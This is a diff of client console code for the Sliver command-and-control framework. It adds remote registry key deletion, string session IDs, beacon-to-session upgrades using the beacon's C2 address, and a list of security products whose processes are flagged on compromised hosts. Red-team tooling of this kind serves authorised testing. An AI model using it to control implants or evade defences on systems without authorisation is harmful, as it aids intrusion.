@@ -97,6 +97,7 @@ func printHelp(con *console.SliverConsoleClient) {
con.Println()
printHeadline(con.App.Config(), headline, con)
con.Printf("%s\n", columnize.Format(output, config))
con.Println()
}
}
}
+8 -2
View File
@@ -71,7 +71,7 @@ var (
consts.MigrateStr: migrateHelp,
consts.SideloadStr: sideloadHelp,
consts.TerminateStr: terminateHelp,
consts.AliasesStr: loadMacrosHelp,
consts.AliasesStr: loadAliasHelp,
consts.PsExecStr: psExecHelp,
consts.BackdoorStr: backdoorHelp,
consts.SpawnDllStr: spawnDllHelp,
@@ -84,6 +84,7 @@ var (
consts.RegistryWriteStr: regWriteHelp,
consts.RegistryReadStr: regReadHelp,
consts.RegistryCreateKeyStr: regCreateKeyHelp,
consts.RegistryDeleteKeyStr: regDeleteKeyHelp,
consts.PivotsStr: pivotsHelp,
consts.WgPortFwdStr: wgPortFwdHelp,
consts.WgSocksStr: wgSocksHelp,
@@ -370,7 +371,7 @@ Parameters to the Linux and MacOS shared module are passed using the [[.Bold]]LD
screenshotHelp = `[[.Bold]]Command:[[.Normal]] screenshot
[[.Bold]]About:[[.Normal]] Take a screenshot from the remote implant.
`
loadMacrosHelp = `[[.Bold]]Command:[[.Normal]] load-macro <directory path>
loadAliasHelp = `[[.Bold]]Command:[[.Normal]] load-macro <directory path>
[[.Bold]]About:[[.Normal]] Load a Sliver macro to add new commands.
Macros are using the [[.Bold]]sideload[[.Normal]] or [[.Bold]]spawndll[[.Normal]] commands under the hood, depending on the use case.
For Linux and Mac OS, the [[.Bold]]sideload[[.Normal]] command will be used. On Windows, it will depend the macro file is a reflective DLL or not.
@@ -482,6 +483,11 @@ When using the binary type, you must either:
[[.Bold]]Example:[[.Normal]] registry create --hive HKLM "software\\google\\chrome\\BLBeacon\\version"
`
regDeleteKeyHelp = `[[.Bold]]Command:[[.Normal]] registry delete PATH [name]
[[.Bold]]About:[[.Normal]] Remove a value from the windows registry
[[.Bold]]Example:[[.Normal]] registry delete --hive HKLM "software\\google\\chrome\\BLBeacon\\version"
`
pivotsHelp = `[[.Bold]]Command:[[.Normal]] pivots
[[.Bold]]About:[[.Normal]] List pivots for the current session. NOTE: pivots are only supported on sessions, not beacons.
[[.Bold]]Examples:[[.Normal]]
+6 -6
View File
@@ -81,7 +81,7 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
shortID,
host.Hostname,
host.OSVersion,
hostSessionNumbers(host.HostUUID, con),
hostSessions(host.HostUUID, con),
hostBeacons(host.HostUUID, con),
len(host.IOCs),
len(host.ExtensionData),
@@ -90,16 +90,16 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
return tw.Render()
}
func hostSessionNumbers(hostUUID string, con *console.SliverConsoleClient) string {
func hostSessions(hostUUID string, con *console.SliverConsoleClient) string {
hostSessions := SessionsForHost(hostUUID, con)
if 0 == len(hostSessions) {
if len(hostSessions) == 0 {
return "None"
}
sessionNumbers := []string{}
sessionIDs := []string{}
for _, hostSession := range hostSessions {
sessionNumbers = append(sessionNumbers, fmt.Sprintf("%d", hostSession.ID))
sessionIDs = append(sessionIDs, strings.Split(hostSession.ID, "-")[0])
}
return strings.Join(sessionNumbers, ", ")
return fmt.Sprintf("%d", len(sessionIDs))
}
func hostBeacons(hostUUID string, con *console.SliverConsoleClient) string {
+9 -5
View File
@@ -19,6 +19,8 @@ package info
*/
import (
"time"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
@@ -33,7 +35,7 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
if session != nil {
con.Printf(console.Bold+" ID: %s%d\n", console.Normal, session.ID)
con.Printf(console.Bold+" Session ID: %s%s\n", console.Normal, session.ID)
con.Printf(console.Bold+" Name: %s%s\n", console.Normal, session.Name)
con.Printf(console.Bold+" Hostname: %s%s\n", console.Normal, session.Hostname)
con.Printf(console.Bold+" UUID: %s%s\n", console.Normal, session.UUID)
@@ -44,13 +46,14 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.Printf(console.Bold+" OS: %s%s\n", console.Normal, session.OS)
con.Printf(console.Bold+" Version: %s%s\n", console.Normal, session.Version)
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, session.Arch)
con.Printf(console.Bold+" Active C2: %s%s\n", console.Normal, session.ActiveC2)
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, session.RemoteAddress)
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, session.ProxyURL)
con.Printf(console.Bold+"Reconnect Interval: %s%d\n", console.Normal, session.ReconnectInterval)
con.Printf(console.Bold+"Reconnect Interval: %s%s\n", console.Normal, time.Duration(session.ReconnectInterval).String())
} else if beacon != nil {
con.Printf(console.Bold+" ID: %s%s\n", console.Normal, beacon.ID)
con.Printf(console.Bold+" Beacon ID: %s%s\n", console.Normal, beacon.ID)
con.Printf(console.Bold+" Name: %s%s\n", console.Normal, beacon.Name)
con.Printf(console.Bold+" Hostname: %s%s\n", console.Normal, beacon.Hostname)
con.Printf(console.Bold+" UUID: %s%s\n", console.Normal, beacon.UUID)
@@ -61,10 +64,11 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.Printf(console.Bold+" OS: %s%s\n", console.Normal, beacon.OS)
con.Printf(console.Bold+" Version: %s%s\n", console.Normal, beacon.Version)
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, beacon.Arch)
con.Printf(console.Bold+" Active C2: %s%s\n", console.Normal, beacon.ActiveC2)
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, beacon.RemoteAddress)
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, beacon.ProxyURL)
con.Printf(console.Bold+" Interval: %s%d\n", console.Normal, beacon.Interval)
con.Printf(console.Bold+" Jitter: %s%d\n", console.Normal, beacon.Jitter)
con.Printf(console.Bold+" Interval: %s%s\n", console.Normal, time.Duration(beacon.Interval).String())
con.Printf(console.Bold+" Jitter: %s%s\n", console.Normal, time.Duration(beacon.Jitter).String())
} else {
con.PrintErrorf("No target session, see `help %s`\n", consts.InfoStr)
+5 -7
View File
@@ -35,10 +35,9 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
// Confirm with the user, just in case they confused kill with terminate
confirm := false
promptSession := &survey.Confirm{Message: "Kill the active session?"}
promptBeacon := &survey.Confirm{Message: "Kill the active beacon?"}
con.PrintWarnf("WARNING: This will kill the remote implant process\n\n")
if session != nil {
survey.AskOne(promptSession, &confirm, nil)
survey.AskOne(&survey.Confirm{Message: "Kill the active session?"}, &confirm, nil)
if !confirm {
return
}
@@ -47,12 +46,11 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
con.PrintInfof("Killed %s (%s)\n", session.Name, session.ID)
con.ActiveTarget.Background()
return
}
if beacon != nil {
survey.AskOne(promptBeacon, &confirm, nil)
} else if beacon != nil {
survey.AskOne(&survey.Confirm{Message: "Kill the active beacon?"}, &confirm, nil)
if !confirm {
return
}
+4 -4
View File
@@ -35,7 +35,7 @@ func PivotDetailsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if session == nil {
return
}
pivotListeners, err := con.Rpc.PivotListeners(context.Background(), &sliverpb.PivotListenersReq{
pivotListeners, err := con.Rpc.PivotSessionListeners(context.Background(), &sliverpb.PivotListenersReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
@@ -86,10 +86,10 @@ func PrintPivotListenerDetails(listener *sliverpb.PivotListener, con *console.Sl
"ID",
"Remote Address",
})
for _, pivot := range listener.Pivots {
for _, pivotListener := range listener.Pivots {
tw.AppendRow(table.Row{
pivot.ID,
pivot.RemoteAddress,
pivotListener.PeerID,
pivotListener.RemoteAddress,
})
}
con.Printf("%s\n", tw.Render())
+49
View File
@@ -0,0 +1,49 @@
package pivots
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"encoding/json"
"fmt"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
)
// PivotsGraphCmd - Display pivots for all sessions
func PivotsGraphCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
graph, err := con.Rpc.PivotGraph(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
data, err := json.MarshalIndent(graph.Children, "", " ")
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
fmt.Printf("%s\n", string(data))
}
+1 -1
View File
@@ -35,7 +35,7 @@ func PivotsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if session == nil {
return
}
pivotListeners, err := con.Rpc.PivotListeners(context.Background(), &sliverpb.PivotListenersReq{
pivotListeners, err := con.Rpc.PivotSessionListeners(context.Background(), &sliverpb.PivotListenersReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
+1 -1
View File
@@ -34,7 +34,7 @@ func StopPivotListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient
}
id := uint32(ctx.Flags.Int("id"))
if id == uint32(0) {
pivotListeners, err := con.Rpc.PivotListeners(context.Background(), &sliverpb.PivotListenersReq{
pivotListeners, err := con.Rpc.PivotSessionListeners(context.Background(), &sliverpb.PivotListenersReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
+1 -1
View File
@@ -99,7 +99,7 @@ func PrintProcessDump(dump *sliverpb.ProcessDump, saveTo string, hostname string
return
}
} else {
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY, 600)
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY, 0o600)
if err != nil {
con.PrintErrorf("Error creating file: %s\n", err)
return
+40 -15
View File
@@ -35,14 +35,17 @@ import (
var (
// Stylizes known processes in the `ps` command
knownSecurityTools = map[string]string{
"ccSvcHst.exe": console.Red, // SEP
"cb.exe": console.Red, // Carbon Black
"MsMpEng.exe": console.Red, // Windows Defender
"smartscreen.exe": console.Red, // Windows Defender Smart Screen
"bdservicehost.exe": console.Red, // Bitdefender (Total Security)
"bdagent.exe": console.Red, // Bitdefender (Total Security)
"bdredline.exe": console.Red, // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
knownSecurityTools = map[string][]string{
// Process Name -> [Color, Stylized Name]
"ccSvcHst.exe": {console.Red, "Symantec Endpoint Protection"}, // Symantec Endpoint Protection (SEP)
"cb.exe": {console.Red, "Carbon Black"}, // Carbon Black
"MsMpEng.exe": {console.Red, "Windows Defender"}, // Windows Defender
"smartscreen.exe": {console.Red, "Windows Smart Screen"}, // Windows Defender Smart Screen
"CSFalconService.exe": {console.Red, "CrowdStrike"}, // Crowdstrike Falcon Service
"CSFalconContainer.exe": {console.Red, "CrowdStrike"}, // CrowdStrike Falcon Container Security
"bdservicehost.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
"bdagent.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
"bdredline.exe": {console.Red, "Bitdefender"}, // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
}
)
@@ -68,10 +71,20 @@ func PsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
PrintPS(os, ps, false, ctx, con)
products := findKnownSecurityProducts(ps)
if 0 < len(products) {
con.Println()
con.PrintWarnf("Security Product(s): %s\n", strings.Join(products, ", "))
}
})
con.PrintAsyncResponse(ps.Response)
} else {
PrintPS(os, ps, true, ctx, con)
products := findKnownSecurityProducts(ps)
if 0 < len(products) {
con.Println()
con.PrintWarnf("Security Product(s): %s\n", strings.Join(products, ", "))
}
}
}
@@ -86,7 +99,6 @@ func getOS(session *clientpb.Session, beacon *clientpb.Beacon) string {
// PrintPS - Prints the process list
func PrintPS(os string, ps *sliverpb.Ps, interactive bool, ctx *grumble.Context, con *console.SliverConsoleClient) {
pidFilter := ctx.Flags.Int("pid")
exeFilter := ctx.Flags.String("exe")
ownerFilter := ctx.Flags.String("owner")
@@ -118,23 +130,36 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, ctx *grumble.Context,
if ownerFilter != "" && !strings.Contains(strings.ToLower(proc.Owner), strings.ToLower(ownerFilter)) {
continue
}
procRow(tw, proc, cmdLine, con)
row := procRow(tw, proc, cmdLine, con)
tw.AppendRow(row)
}
tw.SortBy([]table.SortBy{
{Name: "pid", Mode: table.Asc},
{Name: "ppid", Mode: table.Asc},
})
if !interactive {
overflow = true
}
settings.PaginateTable(tw, skipPages, overflow, interactive, con)
}
func findKnownSecurityProducts(ps *sliverpb.Ps) []string {
products := []string{}
for _, proc := range ps.Processes {
if secTool, ok := knownSecurityTools[proc.Executable]; ok {
products = append(products, secTool[1])
}
}
return products
}
// procRow - Stylizes the process information
func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console.SliverConsoleClient) {
func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console.SliverConsoleClient) table.Row {
session, beacon := con.ActiveTarget.GetInteractive()
color := console.Normal
if modifyColor, ok := knownSecurityTools[proc.Executable]; ok {
color = modifyColor
if secTool, ok := knownSecurityTools[proc.Executable]; ok {
color = secTool[0]
}
if session != nil && proc.Pid == session.PID {
color = console.Green
@@ -196,7 +221,7 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
}
}
}
tw.AppendRow(row)
return row
}
// GetPIDByName - Get a PID by name from the active session
+1 -1
View File
@@ -95,7 +95,7 @@ func RegCreateKeyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
}
// PrintCreateKey - Print the results of the crate key command
// PrintCreateKey - Print the results of the create key command
func PrintCreateKey(createKey *sliverpb.RegistryCreateKey, regPath string, key string, con *console.SliverConsoleClient) {
if createKey.Response != nil && createKey.Response.Err != "" {
con.PrintErrorf("%s", createKey.Response.Err)
+105
View File
@@ -0,0 +1,105 @@
package registry
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// RegDeleteKeyCmd - Remove a Windows registry key
func RegDeleteKeyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
targetOS := getOS(session, beacon)
if targetOS != "windows" {
con.PrintErrorf("Registry operations can only target Windows\n")
return
}
hostname := ctx.Flags.String("hostname")
hive := ctx.Flags.String("hive")
if err := checkHive(hive); err != nil {
con.PrintErrorf("%s\n", err)
return
}
regPath := ctx.Args.String("registry-path")
if regPath == "" {
con.PrintErrorf("You must provide a path\n")
return
}
if strings.Contains(regPath, "/") {
regPath = strings.ReplaceAll(regPath, "/", "\\")
}
pathBaseIdx := strings.LastIndex(regPath, `\`)
if pathBaseIdx < 0 {
con.PrintErrorf("invalid path: %s", regPath)
return
}
if len(regPath) < pathBaseIdx+1 {
con.PrintErrorf("invalid path: %s", regPath)
return
}
finalPath := regPath[:pathBaseIdx]
key := regPath[pathBaseIdx+1:]
deleteKey, err := con.Rpc.RegistryDeleteKey(context.Background(), &sliverpb.RegistryDeleteKeyReq{
Hive: hive,
Path: finalPath,
Key: key,
Hostname: hostname,
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if deleteKey.Response != nil && deleteKey.Response.Async {
con.AddBeaconCallback(deleteKey.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, deleteKey)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintDeleteKey(deleteKey, finalPath, key, con)
})
con.PrintAsyncResponse(deleteKey.Response)
} else {
PrintDeleteKey(deleteKey, finalPath, key, con)
}
}
// PrintDeleteKey - Print the results of the delete key command
func PrintDeleteKey(deleteKey *sliverpb.RegistryDeleteKey, regPath string, key string, con *console.SliverConsoleClient) {
if deleteKey.Response != nil && deleteKey.Response.Err != "" {
con.PrintErrorf("%s", deleteKey.Response.Err)
return
}
con.PrintInfof("Key removed at %s\\%s", regPath, key)
}
+50
View File
@@ -0,0 +1,50 @@
package sessions
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// CloseSessionCmd - Close an interactive session but do not kill the remote process
func CloseSessionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
// Get the active session
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
con.PrintErrorf("No active session\n")
return
}
// Close the session
_, err := con.Rpc.CloseSession(context.Background(), &sliverpb.CloseSession{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return
}
con.ActiveTarget.Set(nil, nil)
}
+7 -7
View File
@@ -50,29 +50,29 @@ func SelectSession(onlyAlive bool, con *console.SliverConsoleClient) (*clientpb.
return nil, ErrNoSessions
}
sessionsMap := map[uint32]*clientpb.Session{}
sessionsMap := map[string]*clientpb.Session{}
for _, session := range sessions.GetSessions() {
sessionsMap[session.ID] = session
}
// Sort the keys because maps have a randomized order, these keys must be ordered for the selection
// to work properly since we rely on the index of the user's selection to find the session in the map
var keys []int
var keys []string
for _, session := range sessions.Sessions {
keys = append(keys, int(session.ID))
keys = append(keys, session.ID)
}
sort.Ints(keys) // Fucking Go can't sort int32's, so we convert to/from int's
sort.Strings(keys)
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
// Column Headers
for _, key := range keys {
session := sessionsMap[uint32(key)]
session := sessionsMap[key]
if onlyAlive && session.IsDead {
continue
}
fmt.Fprintf(table, "%d\t%s\t%s\t%s\t%s\t%s\n",
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\n",
session.ID,
session.Name,
session.RemoteAddress,
@@ -98,7 +98,7 @@ func SelectSession(onlyAlive bool, con *console.SliverConsoleClient) (*clientpb.
// Go from the selected option -> index -> session
for index, option := range options {
if option == selected {
return sessionsMap[uint32(keys[index])], nil
return sessionsMap[keys[index]], nil
}
}
return nil, ErrNoSelection
+58 -2
View File
@@ -20,6 +20,7 @@ package sessions
import (
"context"
"net/url"
"time"
"github.com/bishopfox/sliver/client/command/generate"
@@ -42,6 +43,7 @@ func InteractiveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
// Parse C2 Flags
c2s := []*clientpb.ImplantC2{}
mtlsC2, err := generate.ParseMTLSc2(ctx.Flags.String("mtls"))
@@ -86,9 +88,63 @@ func InteractiveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
c2s = append(c2s, tcpPivotC2...)
// No flags, parse the current beacon's ActiveC2 instead
if len(mtlsC2) == 0 && len(wgC2) == 0 && len(httpC2) == 0 && len(dnsC2) == 0 && len(namedPipeC2) == 0 && len(tcpPivotC2) == 0 {
con.PrintErrorf("Must specify at least one of --mtls, --wg, --http, --dns, --named-pipe, or --tcp-pivot\n")
return
con.PrintInfof("Using beacon's active C2 endpoint: %s\n", beacon.ActiveC2)
c2url, err := url.Parse(beacon.ActiveC2)
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return
}
switch c2url.Scheme {
case "mtls":
mtlsC2, err = generate.ParseMTLSc2(beacon.ActiveC2)
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return
}
c2s = append(c2s, mtlsC2...)
case "wg":
wgC2, err = generate.ParseWGc2(beacon.ActiveC2)
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return
}
c2s = append(c2s, wgC2...)
case "https":
fallthrough
case "http":
httpC2, err = generate.ParseHTTPc2(beacon.ActiveC2)
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return
}
c2s = append(c2s, httpC2...)
case "dns":
dnsC2, err = generate.ParseDNSc2(beacon.ActiveC2)
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return
}
c2s = append(c2s, dnsC2...)
case "namedpipe":
namedPipeC2, err = generate.ParseNamedPipec2(beacon.ActiveC2)
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return
}
c2s = append(c2s, namedPipeC2...)
case "tcppivot":
tcpPivotC2, err = generate.ParseTCPPivotc2(beacon.ActiveC2)
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return
}
c2s = append(c2s, tcpPivotC2...)
default:
con.PrintErrorf("Unsupported C2 scheme: %s\n", c2url.Scheme)
return
}
}
openSession := &sliverpb.OpenSession{
+1 -1
View File
@@ -40,7 +40,7 @@ func SessionsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
for _, session := range sessions.GetSessions() {
if session.IsDead {
con.Printf("Pruning session #%d ...", session.ID)
con.Printf("Pruning session %s ... ", session.ID)
err = kill.KillSession(session, true, con)
if err != nil {
con.Printf("failed!\n")
+69 -29
View File
@@ -21,6 +21,7 @@ package sessions
import (
"context"
"fmt"
"strings"
"time"
"github.com/bishopfox/sliver/client/command/kill"
@@ -30,6 +31,7 @@ import (
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
"golang.org/x/term"
)
// SessionsCmd - Display/interact with sessions
@@ -54,7 +56,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("%s\n", err)
}
con.Println()
con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
con.PrintInfof("Killed %s (%s)\n", session.Name, session.ID)
}
return
}
@@ -68,7 +70,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("%s\n", err)
}
con.Println()
con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
con.PrintInfof("Killed %s (%s)\n", session.Name, session.ID)
}
}
return
@@ -90,12 +92,12 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.GetSession(interact)
if session != nil {
con.ActiveTarget.Set(session, nil)
con.PrintInfof("Active session %s (%d)\n", session.Name, session.ID)
con.PrintInfof("Active session %s (%s)\n", session.Name, ShortSessionID(session.ID))
} else {
con.PrintErrorf("Invalid session name or session number: %s\n", interact)
}
} else {
sessionsMap := map[uint32]*clientpb.Session{}
sessionsMap := map[string]*clientpb.Session{}
for _, session := range sessions.GetSessions() {
sessionsMap[session.ID] = session
}
@@ -108,19 +110,41 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
// PrintSessions - Print the current sessions
func PrintSessions(sessions map[uint32]*clientpb.Session, con *console.SliverConsoleClient) {
func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverConsoleClient) {
width, _, err := term.GetSize(0)
if err != nil {
width = 999
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"ID",
"Name",
"Transport",
"Remote Address",
"Hostname",
"Username",
"Operating System",
"Last Check-in",
"Health",
if con.Settings.SmallTermWidth < width {
tw.AppendHeader(table.Row{
"ID",
"Name",
"Transport",
"Remote Address",
"Hostname",
"Username",
"Operating System",
"Last Check-in",
"Health",
})
} else {
tw.AppendHeader(table.Row{
"ID",
"Transport",
"Remote Address",
"Hostname",
"Username",
"Operating System",
"Health",
})
}
tw.SortBy([]table.SortBy{
{Name: "ID", Mode: table.Asc},
})
for _, session := range sessions {
@@ -138,21 +162,37 @@ func PrintSessions(sessions map[uint32]*clientpb.Session, con *console.SliverCon
if session.Burned {
burned = "🔥"
}
tw.AppendRow(table.Row{
fmt.Sprintf(color+"%d"+console.Normal, session.ID),
fmt.Sprintf(color+"%s"+console.Normal, session.Name),
fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, session.Username),
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
fmt.Sprintf(color+"%s"+console.Normal, time.Unix(session.LastCheckin, 0).Format(time.RFC1123)),
burned + SessionHealth,
})
username := strings.TrimPrefix(session.Username, session.Hostname+"\\") // For non-AD Windows users
if con.Settings.SmallTermWidth < width {
tw.AppendRow(table.Row{
fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
fmt.Sprintf(color+"%s"+console.Normal, session.Name),
fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, username),
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
fmt.Sprintf(color+"%s"+console.Normal, time.Unix(session.LastCheckin, 0).Format(time.RFC1123)),
burned + SessionHealth,
})
} else {
tw.AppendRow(table.Row{
fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, username),
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
burned + SessionHealth,
})
}
}
tw.SortBy([]table.SortBy{
{Name: "ID", Mode: table.Asc},
})
con.Printf("%s\n", tw.Render())
}
// ShortSessionID - Shorten the session ID
func ShortSessionID(id string) string {
return strings.Split(id, "-")[0]
}
+48
View File
@@ -19,6 +19,8 @@ package settings
*/
import (
"strconv"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
@@ -43,9 +45,55 @@ func SettingsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
tw.AppendRow(table.Row{"Tables", con.Settings.TableStyle, "Set the stylization of tables"})
tw.AppendRow(table.Row{"Auto Adult", con.Settings.AutoAdult, "Automatically accept OPSEC warnings"})
tw.AppendRow(table.Row{"Beacon Auto Results", con.Settings.BeaconAutoResults, "Automatically display beacon results when tasks complete"})
tw.AppendRow(table.Row{"Small Term Width", con.Settings.SmallTermWidth, "Omit some table columns when terminal width is less than this value"})
tw.AppendRow(table.Row{"Always Overflow", con.Settings.AlwaysOverflow, "Disable table pagination"})
con.Printf("%s\n", tw.Render())
}
// SettingsAlwaysOverflow - Toggle always overflow
func SettingsAlwaysOverflow(ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
if con.Settings == nil {
con.Settings, err = assets.LoadSettings()
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
con.Settings.AlwaysOverflow = !con.Settings.AlwaysOverflow
con.PrintInfof("Always overflow = %v\n", con.Settings.AlwaysOverflow)
}
// SettingsSmallTerm - Modify small terminal width value
func SettingsSmallTerm(ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
if con.Settings == nil {
con.Settings, err = assets.LoadSettings()
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
result := ""
prompt := &survey.Input{Message: "Set small width:"}
err = survey.AskOne(prompt, &result)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
newWidth, err := strconv.Atoi(result)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if newWidth < 1 {
con.PrintErrorf("Invalid width (too small)\n")
return
}
con.Settings.SmallTermWidth = newWidth
con.PrintInfof("Small terminal width set to %d\n", con.Settings.SmallTermWidth)
}
// SettingsTablesCmd - The client settings command
func SettingsTablesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
+3 -3
View File
@@ -27,7 +27,7 @@ import (
"github.com/bishopfox/sliver/client/console"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/jedib0t/go-pretty/v6/text"
"golang.org/x/crypto/ssh/terminal"
"golang.org/x/term"
)
var (
@@ -181,9 +181,9 @@ func PagesOf(renderedTable string) [][]string {
func PaginateTable(tw table.Writer, skipPages int, overflow bool, interactive bool, con *console.SliverConsoleClient) {
renderedTable := tw.Render()
lineCount := strings.Count(renderedTable, "\n")
if !overflow {
